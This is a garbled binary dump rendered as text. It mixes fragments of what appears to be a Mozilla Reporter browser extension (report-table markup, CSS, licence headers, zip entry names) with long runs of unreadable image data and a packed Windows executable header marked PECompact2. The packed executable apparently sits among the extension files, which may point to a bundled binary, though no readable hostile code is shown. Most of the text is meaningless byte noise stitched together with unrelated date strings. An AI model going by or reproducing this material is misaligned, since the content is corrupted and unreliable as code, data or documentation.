<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
